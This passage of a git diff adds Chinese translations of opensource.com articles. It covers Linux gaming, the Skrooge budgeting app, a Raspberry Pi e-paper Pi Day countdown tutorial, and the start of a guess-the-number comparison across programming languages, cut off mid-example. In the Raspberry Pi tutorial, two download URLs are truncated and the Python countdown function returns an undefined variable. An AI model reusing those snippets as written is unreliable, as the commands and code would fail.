平台上开发游戏的旧方式。 + +有趣的是,最终的结果是产生了更多的开源代码。Valve 公司为 Linux 兼容创建了 Proton 工程,一个可以转换 Windows 游戏到 Linux 的兼容层。在 Proton 的内核层面,它使用了WINE(Wine Is Not an Emulator) —— 以开源的方式极好地重新实现了主要的 Windows 库。 + +游戏市场的成果,如今已经变成了开源世界的宝藏。今天,来自大型工作室的大多数游戏都可以在 Linux 上像原生游戏一样运行。 + +当然,如果你是必须要在发行日就玩上最新版游戏的这类玩家,你可能会遇到一些令人不愉快的“惊喜”。尽管那不是惊喜,很少有大型游戏在发行时毫无漏洞,一周后才补上补丁。这些游戏在 Proton 和 WINE 上运行时遇到这些错误可能更糟糕,因此 Linux 玩家通过避免尽早上车而避免这些问题。这种妥协可能是值得的。我玩过一些游戏,它们在 Proton 平台运行完美,后来从愤怒的论坛帖子中发现,它在最新版的 Windows 上运行显然充满了致命的错误。总之,似乎来自大型工作室的游戏并不完美,但你可能在 Linux 上遇到相似但不同的问题,正如你在 Windows 上遇到的。 + +#### Flatpak + +Linux 近来历史上最令人激动的发展就是 Flatpak 了,它是本地容器和打包的结合,它和游戏无关(或者它和游戏息息相关),它使得 Linux 应用基本上能被分发到任意的 Linux 发行版上。这也适用于游戏,因为在游戏中使用了相当多的前沿技术,而对发行版维护者来说,要跟上任何特定游戏所需的所有最新版本可能是相当苛刻的。 + +Flapak 通过为应用程序库抽象出一种通用的 Flatpak 特定的层,而将其从发行版中抽象出来。Flatpak 软件包的发行者知道,如果一个库不在 Flatpak SDK 中,那么它必须要包含在 Flatpak 软件包中,简单而直接。 + +多亏了 Flatpak,Steam 客户端可以运行在像 Fedora 这样的常用发行版上,也可以运行在 RHEL、Slackware 等从传统角度看并不面向游戏市场的操作系统上。 + +#### Lutris + +如果你并不急于在 Steam 上注册账号,那么可以用我比较偏爱的游戏客户端 Lutris 。表面上看,Lutris 是一个简单的游戏启动器,当你想玩游戏但还没决定玩什么的时候,你可以到这这里找找。有了 Lutris,你可以将系统上的所有游戏添加到你的游戏库,然后从 Lutris 界面启动并立即玩起来。更好的是,Lutris 贡献者(像我一样)会定期发布安装脚本,使你可以轻松安装自己的游戏。这并不是必须的,但它可以是一个很好的捷径,可以绕过一些繁琐的配置。 + +Lutris 也可以借助运行器或子系统,来运行那些不能从应用菜单直接启动的游戏。比如你想玩开源的《魔兽塔防Warcraft Tower Defense》这样的游戏机游戏,你必须运行模拟器。如果你已经安装过模拟器的话,Lutris 可以帮你处理这一切。除此以外,如果你有一个 GOG.com 游戏账号,Lutris 可以访问它,并可以把游戏导入你的游戏库中。 + +没有比这更容易的管理你的游戏的方式了。 + +### 去玩游戏吧 + +Linux 游戏是一种充实且给人力量的体验。我过去避免玩电脑游戏,因为我不觉得我有太多的选择。似乎昂贵的游戏总是在不断发布,并且不可避免的获得好或者不好的极端体验,然后很快又转向下一个。另一方面,开源游戏把我引入了游戏的圈子。我见到过其他玩家和开发者。我见到过艺术家和音乐家、粉丝以及推广者。我玩过各种各样的我从来不知道的游戏。其中一些甚至不够我玩一下午,而其他的却让我长久的着迷于游戏、修改、关卡设计和乐趣。 + +如果你准备好放下爆米花,从各个角度体验下游戏的话,那就在 Linux 上开始游戏吧。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/2/linux-gaming + +作者:[Seth Kenlon][a] +选题:[lujun9972][b] +译者:[godgithubf](https://github.com/godgithubf) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/seth +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/gaming_grid_penguin.png?itok=7Fv83mHR (Gaming with penguin pawns) +[2]: https://opensource.com/alternatives/minecraft +[3]: https://itch.io/jam/open-jam-2020 +[4]: https://opensource.com/article/20/5/open-source-fps-games +[5]: https://hyperparticle.itch.io/nodulus +[6]: https://www.openttd.org/ +[7]: https://rcorre.itch.io/jethook +[8]: http://sauerbraten.org/ +[9]: https://opensource.com/article/18/9/open-jam-announcement +[10]: https://opensource.com/sites/default/files/game_0.png +[11]: http://flathub.org +[12]: https://github.com/ValveSoftware/Proton +[13]: http://winehq.org +[14]: https://opensource.com/business/16/8/flatpak +[15]: https://www.redhat.com/en/enterprise-linux-8 +[16]: http://lutris.net +[17]: https://opensource.com/article/18/10/lutris-open-gaming-platform +[18]: https://ndswtd.wordpress.com/download diff --git a/published/202206/20210210 Manage your budget on Linux with this open source finance tool.md b/published/202206/20210210 Manage your budget on Linux with this open source finance tool.md new file mode 100644 index 0000000000..7434c9614f --- /dev/null +++ b/published/202206/20210210 Manage your budget on Linux with this open source finance tool.md @@ -0,0 +1,81 @@ +[#]: collector: (lujun9972) +[#]: translator: (hanszhao80) +[#]: reviewer: (wxy) +[#]: publisher: (wxy) +[#]: url: (https://linux.cn/article-14679-1.html) +[#]: subject: (Manage your budget on Linux with this open source finance tool) +[#]: via: (https://opensource.com/article/21/2/linux-skrooge) +[#]: author: (Seth Kenlon https://opensource.com/users/seth) + +使用 Linux 上的开源财务工具 Skrooge 管理你的预算 +====== + +> 使用开源预算工具 Skrooge 让你的财务管理更加轻松。 + +![](https://img.linux.net.cn/data/attachment/album/202206/06/115449f0uy9guxxokj0umo.jpg) + +2021 年,人们喜欢 Linux 的理由比以往任何时候都多。在本系列中,我将分享使用 Linux 的 21 个不同理由。本篇介绍的是个人财务管理。 + +个人财务可能很难管理。当你没有足够的钱在没有经济援助的情况下度日时,这可能是令人沮丧甚至不安的,而当你确实有所需的钱却又不清楚每个月的去向时,这可能会令人惊讶地难以接受。更糟糕的是,我们经常被告知要“制定预算”,好像宣布你每个月的花销就能在某种程度上体现出你需要多少钱。底线是:制定预算是困难的,没有达到你的财务目标是令人沮丧的。但这仍然很重要,Linux 有几个工具可以帮助使任务变得可管理。 + +### 理财 + +就像生活中的其他事情一样,我们都有自己的方法来跟踪我们的财务。我过去常常采取一种简单而直接的方法:我的薪水支票被存入一个账户,然后我会提取一定比例的现金。一旦我钱包里的钱没了,我就得等到下一个发薪日才能花钱。我用了一天没有午餐的时间,就明白了我必须认真对待我的目标,并相应地调整了我的消费行为。对于当时我的简单的生活方式来说,这是一种让我对自己的收入保持诚实的有效手段,但它并不能很好地转化为在线商业交易、长期公用事业合同、投资等等。 + +随着我不断完善我的财务跟踪方式,我了解到个人会计始终是一个不断发展的过程。我们每个人都有独特的财务状况,这告诉我们可以或应该使用什么样的解决方案来跟踪我们的收入和债务。如果你失业了,那么你的预算目标可能是尽可能少花钱。如果你在工作,但在还学生贷款,那么你的目标可能是向银行汇款。如果你在工作,但计划退休,那么你可能会尽可能多地存钱。 + +关于预算,要记住的一点是,它是为了将你的财务现实与你的财务 _目标_ 进行比较。你无法避免一些开支,但在这些之后,你可以设定自己的优先事项。如果你没有达到你的目标,你可以调整自己的行为或改写你的目标,使其更好地反映现实。调整你的财务计划并不意味着你失败了,这只是意味着你最初的预测并不准确。在困难时期,你可能无法达到任何预算目标,但如果你坚持你的预算,你会学到很多关于维持你目前的生活方式(无论它是什么)所需要的财务手段。随着时间的推移,你可以学习调整你可能从未意识到的变化。例如,由于远程工作已成为一种被广泛接受的选择,人们正在搬到农村城镇以降低生活成本。看到这样一种生活方式的转变可以改变你的预算报告,真是令人震惊。 + +重点是,预算编制是一项经常被低估的活动,这在很大程度上是因为它令人生畏。重要的是要认识到,无论你的专业水平或对财务的兴趣如何,你都可以进行预算。无论你 [只使用 LibreOffice 电子表格][2],还是尝试专用的财务应用程序,你都可以设定目标,跟踪自己的行为,并学到许多宝贵的经验教训,这些经验教训最终可能会带来回报。 + +### 开源会计 + +有几个专用于 [Linux 的个人理财应用程序][3],包括 [HomeBank][4]、[Money Manager EX][5]、[GNUCash][6]、[KMyMoney][7] 和 [Skrooge][8]。所有这些应用程序本质上都是账本,你可以在每个月底(或每当你查看帐户时)退回到一个地方,从你的银行导入数据,并审查你的支出如何与你为自己设定的预算保持一致。 + +![显示财务数据的 Skrooge 界面][9] + +我使用 Skrooge 作为我的个人预算跟踪器。即便面对多个银行账户,它也能轻松自如的设置。与大多数开源金融应用程序一样,Skrooge 可以导入多种文件格式,因此我的工作流程大致如下: + + 1. 登录我的银行。 + 2. 将当月的银行对账单导出为 QIF 文件。 + 3. 打开 Skrooge。 + 4. 导入 QIF 文件。每个文件都会自动分配到相应的帐户。 + 5. 对照我为自己设定的预算目标审查我的支出。如果我超支了,那么我就会扣减下个月的目标(这样我就会理性地少花钱来弥补差额)。如果我尚未超出我的目标预算,那么我会把多余的部分移到 12 月的预算中(这样我在年底就会有更多的支出份额)。 + +我只跟踪了 Skrooge 中的家庭预算的一部分。Skrooge 通过一个动态数据库简化了这一过程,该数据库允许我使用自定义标签一次对多个交易进行分类。这使我可以轻松地从一般家庭和公用事业支出中提取我的个人支出,并且我可以在查看 Skrooge 提供的自动生成的报告时利用这些类别。 + +![Skrooge 预算饼图][10] + +最重要的是,流行的 Linux 财务应用程序使我能够以最适合我的方式管理我的预算。例如,我的合作伙伴更喜欢使用 LibreOffice 电子表格,但我只需要付出很少的努力就可以从家庭预算中提取 CSV 文件,将其导入到 Skrooge,并使用一组更新的数据集。不存在供应商锁定和不兼容。该系统灵活敏捷,使我们能够在更多地了解有效预算和生活中的情况时调整我们的预算和跟踪支出的方法。 + +### 开放选择 + +世界各地的货币市场各不相同,我们每个人与之互动的方式也决定了我们可以使用哪些工具。归根结底,你对财务类软件的选择必须基于自己的需求。开源做得特别好的一件事是为用户提供了选择的自由。 + +在设定自己的财务目标时,我很欣赏我可以使用最适合我个人计算风格的任何应用程序。我可以控制我在生活中如何处理数据,即使是我不一定喜欢处理的数据。Linux 及其令人惊叹的应用程序集使它不再是一件苦差事。 + +在 Linux 上尝试一些财务应用程序,看看你是否可以激励自己设定一些目标并节省开支吧! + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/2/linux-skrooge + +作者:[Seth Kenlon][a] +选题:[lujun9972][b] +译者:[hanszhao80](https://github.com/hanszhao80) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/seth +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/Medical%20Costs%20Transparency_1.jpg?itok=CkZ_J88m (2 cents penny money currency) +[2]: https://opensource.com/article/20/3/libreoffice-templates +[3]: https://opensource.com/life/17/10/personal-finance-tools-linux +[4]: http://homebank.free.fr/en/index.php +[5]: https://www.moneymanagerex.org/download +[6]: https://opensource.com/article/20/2/gnucash +[7]: https://kmymoney.org/download.html +[8]: https://apps.kde.org/en/skrooge +[9]: https://opensource.com/sites/default/files/skrooge.jpg +[10]: https://opensource.com/sites/default/files/skrooge-pie_0.jpg diff --git a/published/202206/20210319 Create a countdown clock with a Raspberry Pi.md b/published/202206/20210319 Create a countdown clock with a Raspberry Pi.md new file mode 100644 index 0000000000..40f4299374 --- /dev/null +++ b/published/202206/20210319 Create a countdown clock with a Raspberry Pi.md @@ -0,0 +1,369 @@ +[#]: subject: (Create a countdown clock with a Raspberry Pi) +[#]: via: (https://opensource.com/article/21/3/raspberry-pi-countdown-clock) +[#]: author: (Chris Collins https://opensource.com/users/clcollins) +[#]: collector: (lujun9972) +[#]: translator: (Donkey-Hao) +[#]: reviewer: (wxy) +[#]: publisher: (wxy) +[#]: url: (https://linux.cn/article-14731-1.html) + +使用树莓派做一个倒计时器 +====== + +> 使用树莓派和电子纸显示屏开始倒计时你的下一个假期。 + +![](https://img.linux.net.cn/data/attachment/album/202206/19/145133beh3yp1s3ky6bi5b.jpg) + +[圆周率日][2]Pi Day(3 月 14 日) 来了又走,留下美好的回忆以及 [许多树莓派项目][3] 等待我们去尝试。在任何令人精神振奋、充满欢乐的假期后回到工作中都很难,圆周率日也不例外。当我们回望三月的时候,渴望那些天的快乐。但是不用害怕,亲爱的圆周率日庆祝者们,我们开始下一个节日的漫长倒计时! + +好了,严肃点。我做了一个圆周率日倒计时器,你也可以! + +不久前,我购买了一个 [树莓派 Zero W][4],并且用它来 [解决 WiFi 信号较差的原因][5] 。我也对使用电子纸ePaper来作为它的显示屏十分感兴趣。虽然我不知道该用它来干什么,但是!它看起来真的很有趣!我买了一个十分适合放在树莓派的顶部的 2.13 英寸的 [WaveShare 显示器][6] 。安装很简单:只需要将显示器接到树莓派的 GPIO 上即可。 + +我使用 [树莓派操作系统][7] 来实现该项目,虽然其他的操作系统肯定也能完成。但是下面的 `raspi-config` 命令在树莓派系统上很容易使用。 + +### 设置树莓派和电子纸显示屏 + +设置树莓派和电子纸显示屏一起工作,需要你在树莓派软件中启用串行外设接口(SPI),安装 BCM2835 C 库(来访问树莓派上的博通 BCM 2835 芯片的 GPIO 功能),安装 Python GPIO 库来控制电子纸显示屏。最后,你需要安装 WaveShare 的库来使用 Python 控制这个 2.13 英寸的显示屏。 + +下面是完成这些的步骤。 + +#### 启用 SPI + +树莓派上启用 SPI 最简单的方式是使用 `raspi-config` 命令。SPI 总线允许与设备进行串行数据通信——在本例中,电子纸显示: + +``` +$ sudo raspi-config +``` + +从弹出的菜单中, 选择 “接口选项Interfacing Options -> SPI -> Yes” 来启用 SPI 接口,然后启动。 + +#### 安装 BCM2835 库 + +如上所述,BCM2835 库是用于树莓派博通 BCM2385 芯片的软件,它允许访问 GPIO 引脚来控制设备。 + +在我写这篇文章之时,用于树莓派的最新博通 BCM2385 库版本是 v1.68 。安装此库需要下载软件压缩包然后使用 `make` 来安装: + +``` +# 下载 BCM2853 库并解压 +$ curl -sSL http://www.airspayce.com/mikem/bcm2835/bcm2835-1.68.tar.g> -o - | tar -xzf - + +# 进入解压后的文件夹 +$ pushd bcm2835-1.68/ + +# 配置、检查并安装 BCM2853 库 +$ sudo ./configure +$ sudo make check +$ sudo make install + +# 返回上级目录 +$ popd +``` + +#### 安装需要的 Python 库 + +你用 Python 控制电子纸显示屏需要安装 Python 库 `RPi.GPIO`,还需要使用 `python3-pil` 包来画图。显然,PIL 包已经不行了,但 Pillow 可以作为代替方案。我还没有为该项目测试过 Pillow ,但它可行: + +``` +# 安装需要的 Python 库 +$ sudo apt-get update +$ sudo apt-get install python3-pip python3-pil +$ sudo pip3 install RPi.GPIO +``` + +_注意:这些是 Python3 的指令。你可以在 WaveShare 网站查到 Python2 的指令。_ + +#### 下载 WaveShare 示例和 Python 库 + +Waveshare 维护了一个 Python 和 C 的 Git 库,用于使用其电子纸显示屏和一些展示如何使用它们的示例。对这个倒计时时钟而言,你需要克隆这个库并使用用于 2.13 英寸显示屏的库: + +``` +# 克隆这个 WaveShare e-Paper git 库 +$ git clone https://github.com/waveshare/e-Paper.gi> +``` + +如果你用不同的显示器或者其他公司产品,需要使用适配软件。 + +Waveshare 提供了很多指导: + + * [WaveShare 电子纸设置指导][9] + * [WaveShare 电子纸库安装指导][10] + +#### 获得有趣的字体(选做) + +你可以随心所欲的使用显示器,为什么不搞点花样?找一个炫酷的字体! + +这有大量 [开放字体许可][11] 的字体可供选择。我十分喜爱 Bangers 字体。如果你看过 YouTube 那你见过这种字体了,它十分流行。你可以下载到本地的共享字体目录文件中,并且所有的应用都可以使用,包括这个项目: + +``` +# “Bangers” 字体是 Vernon Adams 使用 Google 字体开放许可授权的字体 +$ mkdir -p ~/.local/share/fonts +$ curl -sSL https://github.com/google/fonts/raw/master/ofl/bangers/Bangers-Regular.ttf -o fonts/Bangers-Regular.ttf +``` + +### 创建一个圆周率日倒计时器 + +现在你已经安装好了软件,可以使用带有炫酷字体的电子纸显示屏了。你可以创建一个有趣的项目:倒计时到下一个圆周率日! + +如果你想,你可以从该项目的 [GitHub 仓库][13] 直接下载 [countdown.py][12] 这个 Python 文件并跳到文章结尾。 + +为了满足大家的好奇心,我将逐步讲解。 + +#### 导入一些库 + +``` +#!/usr/bin/python3 +# -*- coding:utf-8 -*- +import logging +import os +import sys +import time + +from datetime import datetime +from pathlib import Path +from PIL import Image,ImageDraw,ImageFont + +logging.basicConfig(level=logging.INFO) + +basedir = Path(__file__).parent +waveshare_base = basedir.joinpath('e-Paper', 'RaspberryPi_JetsonNano', 'python') +libdir = waveshare_base.joinpath('lib') +``` + +开始先导入一些标准库之后脚本中用。也需要你从 PIL 添加 `Image`、`ImageDraw` 和 `ImageFont`,你会用到这些来画一些简单的图形。最后,为本地 `lib` 目录设置一些变量,该目录包含了用于 2.13 英寸显示屏的 Waveshare Python 库,稍后你可以使用这些变量从本地目录加载库。 + +#### 字体大小辅助函数 + +下一部分是为你选择的 Bangers-Regular.ttf 字体建立一个修改大小的辅助函数。该函数将整型变量作为大小参数,并返回一个图形字体对象来用于显示: + +``` +def set_font_size(font_size): +    logging.info("Loading font...") +    return ImageFont.truetype(f"{basedir.joinpath('Bangers-Regular.ttf').resolve()}", font_size) +``` + +#### 倒计时逻辑 + +接下来是计算这个项目的一个函数:距下次圆周率日还有多久。如果是在一月,那么计算剩余天数将很简单。但是你需要考虑是否今年的圆周率日是否已经过去了(允悲)。如果是的话,那么计算在你可以再次庆祝之前还有多少天: + +``` +def countdown(now): +    piday = datetime(now.year, 3, 14) + +    # 如果错过了就增加一年 +    if piday < now: +        piday = datetime((now.year + 1), 3, 14) + +    days = (piday - now).days + +    logging.info(f"Days till piday: {days}") +    return day +``` + +#### 主函数 + +最后,到了主函数,需要初始化显示屏并向它写数据。这时,你应该写一个欢迎语然后再开始倒计时。但是首先,你需要加载 Waveshare 库: + +``` +def main(): + +    if os.path.exists(libdir): +        sys.path.append(f"{libdir}") +        from waveshare_epd import epd2in13_V2 +    else: +        logging.fatal(f"not found: {libdir}") +        sys.exit(1) +``` + +上面的代码片段检查以确保该库已下载到倒计时脚本旁边的目录中,然后加载`epd2in13_V2` 库。如果你使用不同的显示屏,则需要使用不同的库。如果你愿意,也可以自己编写。我发现阅读 Waveshare 随显示屏提供的 Python 代码很有趣,它比我想象的要简单得多。 + +下一段代码创建一个 EPD(电子纸显示屏)对象以与显示器交互并初始化硬件: + +``` +    logging.info("Starting...") +    try: +        # 创建一个显示对象 +        epd = epd2in13_V2.EPD() + +        # 初始化并清空显示 +        # ePaper 保持它的状态处分更新 +        logging.info("Initialize and clear...") +        epd.init(epd.FULL_UPDATE) +        epd.Clear(0xFF) +``` + +关于电子纸的一个有趣之处:它仅在将像素从白色变为黑色或从黑色变为白色时才耗电。这意味着当设备断电或应用程序因任何原因停止时,屏幕上的任何内容都会保留下来。从功耗的角度来看,这很好,但这也意味着你需要在启动时清除显示,否则你的脚本只会覆盖屏幕上已有的内容。 因此,`epd.Clear(0xFF)` 用于在脚本启动时清除显示。 + +接下来,创建一个“画布”来绘制剩余的显示输出: + +``` +    # 创建一个图形对象 + # 注意:"epd.heigh" 是屏幕的长边 + # 注意:"epd.width" 是屏幕的短边 +    # 真是反直觉… +    logging.info(f"Creating canvas - height: {epd.height}, width: {epd.width}") +    image = Image.new('1', (epd.height, epd.width), 255)  # 255: clear the frame +    draw = ImageDraw.Draw(image) +``` + +这与显示器的宽度和高度相匹配——但它有点反直觉,因为显示器的短边是宽度。我认为长边是宽度,所以这只是需要注意的一点。 请注意,`epd.height` 和 `epd.width` 由 Waveshare 库设置以对应于你使用的设备。 + +#### 欢迎语 + +接下来,你将开始画一些画。这涉及在你之前创建的“画布”对象上设置数据。这还没有将它绘制到电子纸显示屏上——你现在只是在构建你想要的图像。由你为这个项目绘制带有一块馅饼的图像,来创建一个庆祝圆周率日的欢迎信息: + +![画一块馅饼][14] + +很可爱,不是吗? + +``` +    logging.info("Set text text...") +    bangers64 = set_font_size(64) +    draw.text((0, 30), 'PI DAY!', font = bangers64, fill = 0) + +    logging.info("Set BMP...") +    bmp = Image.open(basedir.joinpath("img", "pie.bmp")) +    image.paste(bmp, (150,2)) +``` +最后,_真是是最后了_,你可以展示你画的图画: + +``` +    logging.info("Display text and BMP") +    epd.display(epd.getbuffer(image)) +``` + +上面那段话更新了显示屏,以显示你所画的图像。 + +接下来,准备另一幅图像展示你的倒计时: + +#### 圆周率日倒计时 + +首先,创建一个用来展示倒计时的图像对象。也需要设置数字的字体大小: + +``` +    logging.info("Pi Date countdown; press CTRL-C to exit") +    piday_image = Image.new('1', (epd.height, epd.width), 255) +    piday_draw = ImageDraw.Draw(piday_image) + +    # 设置字体大小 +    bangers36 = set_font_size(36) +    bangers64 = set_font_size(64) +``` + +为了使它显示的时候更像一个倒计时,更新图像的一部分是更加有效的手段,仅更改已经改变的显示数据部分。下面的代码准备以这样方式运行: + +``` +    # 准备更新显示 +    epd.displayPartBaseImage(epd.getbuffer(piday_image)) +    epd.init(epd.PART_UPDATE) +``` + +最后,需要计时,开始一个无限循环来检查据下次圆周率日还有多久,并显示在电子纸上。如果到了圆周率日,你可以输出一些庆祝短语: + +``` +    while (True): +        days = countdown(datetime.now()) +        unit = get_days_unit(days) + +        # 通过绘制一个填充有白色的矩形来清除屏幕的下半部分 +        piday_draw.rectangle((0, 50, 250, 122), fill = 255) + +        # 绘制页眉 +        piday_draw.text((10,10), "Days till Pi-day:", font = bangers36, fill = 0) + +        if days == 0: +            # 绘制庆祝语 +            piday_draw.text((0, 50), f"It's Pi Day!", font = bangers64, fill = 0) +        else: +            # 绘制距下一次 Pi Day 的时间 +            piday_draw.text((70, 50), f"{str(days)} {unit}", font = bangers64, fill = 0) + +        # 渲染屏幕 +        epd.displayPartial(epd.getbuffer(piday_image)) +        time.sleep(5) +``` + +脚本最后做了一些错误处理,包括捕获键盘中断,这样你可以使用 `Ctrl + C` 来结束无限循环,以及一个根据计数来打印 `day` 或 `days` 的函数: + +``` +    except IOError as e: +        logging.info(e) + +    except KeyboardInterrupt: +        logging.info("Exiting...") +        epd.init(epd.FULL_UPDATE) +        epd.Clear(0xFF) +        time.sleep(1) +        epd2in13_V2.epdconfig.module_exit() +        exit() + +def get_days_unit(count): +    if count == 1: +        return "day" + +    return "days" + +if __name__ == "__main__": +    main() +``` + +现在你已经拥有一个倒计时并显示剩余天数的脚本!这是在我的树莓派上的显示(视频经过加速,我没有足够的磁盘空间来保存一整天的视频): + +![Pi Day Countdown Timer In Action][16] + +#### 安装 systemd 服务(选做) + +如果你希望在系统打开时运行倒计时显示,并且无需登录并运行脚本,你可以将可选的 systemd 单元安装为 [systemd 用户服务][17]。 + +将 GitHub 上的 [piday.service][18] 文件复制到 `${HOME}/.config/systemd/user`,如果该目录不存在,请先创建该目录。然后你可以启用该服务并启动它: + +``` +$ mkdir -p ~/.config/systemd/user +$ cp piday.service ~/.config/systemd/user +$ systemctl --user enable piday.service +$ systemctl --user start piday.service + +# Enable lingering, to create a user session at boot +# and allow services to run after logout +$ loginctl enable-linger $USER +``` + +该脚本将输出到 systemd 日志,可以使用 `journalctl` 命令查看输出。 + +### 它开始看起来像是圆周率日了! + +这就是你的作品!一个显示在电子纸显示屏上的树莓派 Zero W 圆周率日倒计时器!并在系统启动时使用 systemd 单元文件启动!现在距离我们可以再次相聚庆祝圆周率日还有好多天的奇妙设备———树莓派。通过我们的小项目,我们可以一目了然地看到确切的天数。 + +但实际上,每个人都可以在每一天在心中庆祝圆周率日,因此请使用自己的树莓派创建一些有趣且具有教育意义的项目吧! + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/3/raspberry-pi-countdown-clock + +作者:[Chris Collins][a] +选题:[lujun9972][b] +译者:[Donkey](https://github.com/Donkey-Hao) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/clcollins +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/clocks_time.png?itok=_ID09GDk (Alarm clocks with different time) +[2]: https://en.wikipedia.org/wiki/Pi_Day +[3]: https://opensource.com/tags/raspberry-pi +[4]: https://www.raspberrypi.org/products/raspberry-pi-zero-w/ +[5]: https://opensource.com/article/21/3/troubleshoot-wifi-go-raspberry-pi +[6]: https://www.waveshare.com/product/displays/e-paper.htm +[7]: https://www.raspberrypi.org/software/operating-systems/ +[8]: https://pypi.org/project/Pillow/ +[9]: https://www.waveshare.com/wiki/2.13inch_e-Paper_HAT +[10]: https://www.waveshare.com/wiki/Libraries_Installation_for_RPi +[11]: https://scripts.sil.org/cms/scripts/page.php?site_id=nrsi&id=OFL +[12]: https://github.com/clcollins/epaper-pi-ex/blob/main/countdown.py +[13]: https://github.com/clcollins/epaper-pi-ex/ +[14]: https://opensource.com/sites/default/files/uploads/pie.png (drawing of a piece of pie) +[15]: https://creativecommons.org/licenses/by-sa/4.0/ +[16]: https://opensource.com/sites/default/files/uploads/piday_countdown.gif (Pi Day Countdown Timer In Action) +[17]: https://wiki.archlinux.org/index.php/systemd/User +[18]: https://github.com/clcollins/epaper-pi-ex/blob/main/piday.service diff --git a/published/202206/20210405 How different programming languages do the same thing.md b/published/202206/20210405 How different programming languages do the same thing.md new file mode 100644 index 0000000000..0d8a476397 --- /dev/null +++ b/published/202206/20210405 How different programming languages do the same thing.md @@ -0,0 +1,409 @@ +[#]: subject: "How different programming languages do the same thing" +[#]: via: "https://opensource.com/article/21/4/compare-programming-languages" +[#]: author: "Jim Hall https://opensource.com/users/jim-hall" +[#]: collector: "lujun9972" +[#]: translator: "VeryZZJ" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14687-1.html" + +不同编程语言是如何完成同一件事 +====== + +> 通过一个简单的小游戏比较 13 种编程语言。 + +![](https://img.linux.net.cn/data/attachment/album/202206/08/113845fs81srd5s8rjryt5.jpg) + +当我开始学习一种新的编程语言时,会把重点放在定义变量、书写声明以及计算表达式,一旦对这些概念有一个大致的了解,通常就能够自己弄清剩下的部分。大多数编程语言都具有相似性,所以如果你掌握了一种编程语言,学习下一种语言的重点就是弄清楚独有的概念以及区分不同。 + +我喜欢写一些测试程序来帮助练习新的编程语言。其中我经常写的是一个叫做“猜数字”的小游戏,计算机选出 1 到 100 里的任一数字,然后我来猜。程序循环进行,直到猜出正确数字。通过伪代码可以看出,这是个非常简单的程序: + +* 计算机在 1 到 100 之间选出一个随机数字 +* 循环进行直到猜出该随机数字 + + 计算机读取我的猜测 + + 告诉我我的猜测过高还是过低 + +我们发表了一些文章,用不同的语言写这个程序。这是一个比较不同语言做同样事情的有趣机会。大多数编程语言具有相似性,所以当你在学习下一种新的编程语言时,主要是学习它的独特之处。 + +C 语言由 Dennis Ritchie 于 1972 年在贝尔实验室创建,是一种早期的通用编程语言。C 语言非常受欢迎,并迅速成为 Unix 系统上的标准编程语言。正是因为它的流行,许多其他编程语言也采用了类似的编程语法。这就是为什么如果你已经知道如何使用 C 语言编程,学习 C++、Rust、Java、Groovy、JavaScript、awk 或 Lua 会更容易。 + +接下来我们看看这些不同的编程语言是如何实现 “猜数字” 游戏的主要步骤。我将把重点放在基本元素的相似或不同,跳过一些外围代码,如分配临时变量。 + +### 计算机在 1 到 100 之间选出一个随机数字 + +你可以看到这里有许多相似之处。大多数编程语言使用类似 `rand()` 的函数,你可以设定一个范围来生成随机数。而其他一些语言使用一个特殊的函数来设定范围生成随机数。 + +C: + +``` +// Using the Linux `getrandom` system call +getrandom(&randval, sizeof(int), GRND_NONBLOCK); +number = randval % maxval + 1; + +// Using the standard C library +number = rand() % 100 + 1; +``` + +C++: + +``` +int number = rand() % 100+1; +``` + +Rust: + +``` +let random = rng.gen_range(1..101); +``` + +Java: + +``` +private static final int NUMBER = r.nextInt(100) + 1; +``` + +Groovy: + +``` +int randomNumber = (new Random()).nextInt(100) + 1 +``` + +JavaScript: + +``` +const randomNumber = Math.floor(Math.random() * 100) + 1 +``` + +awk: + +``` +randomNumber = int(rand() * 100) + 1 +``` + +Lua: + +``` +number = math.random(1,100) +``` + +### 循环进行直到我猜出该随机数字 + +循环通常是用控制流程来实现的,如 `while` 或 `do-while`。JavaScript 中的实现没有使用循环,而是 “实时 ”更新 HTML 页面,直到用户猜出正确的数字。Awk 虽然支持循环,但是通过循环读取输入信息是没有意义的,因为 Awk 是基于数据管道的,所以它从文件而不是直接从用户读取输入信息。 + +C: + +``` +do { + … +} while (guess != number); +``` + +C++: + +``` +do { + … +} while ( number != guess ); +``` + +Rust: + +``` +for line in std::io::stdin().lock().lines() { + … + break; +} +``` + +Java: + +``` +while ( guess != NUMBER ) { + … +} +``` + +Groovy: + +``` +while ( … ) { + … + break; +} +``` + +Lua: + +``` +while ( player.guess ~= number ) do + … +end +``` + +### 计算机读取我的猜测 + +不同编程语言对输入的处理方式不同。例如,JavaScript 直接从 HTML 表单中读取数值,而 Awk 则从数据管道中读取数据。 + +C: + +``` +scanf("%d", &guess); +``` + +C++: + +``` +cin >> guess; +``` + +Rust: + +``` +let parsed = line.ok().as_deref().map(str::parse::); +if let Some(Ok(guess)) = parsed { + … +} +``` + +Java: + +``` +guess = player.nextInt(); +``` + +Groovy: + +``` +response = reader.readLine() +int guess = response as Integer +``` + +JavaScript: + +``` +let myGuess = guess.value +``` + +Awk: + +``` +guess = int($0) +``` + +Lua: + +``` +player.answer = io.read() +player.guess = tonumber(player.answer) +``` + +### 告诉我猜测过高还是过低 + +在这些类 C 语言中,通常是通过 `if` 语句进行比较的。每种编程语言打印输出的方式有一些变化,但打印语句在每个样本中都是可识别的。 + +C: + +``` +if (guess < number) { + puts("Too low"); +} +else if (guess > number) { + puts("Too high"); +} +… +puts("That's right!"); +``` + +C++: + +``` +if ( guess > number) { cout << "Too high.\n" << endl; } +else if ( guess < number ) { cout << "Too low.\n" << endl; } +else { + cout << "That's 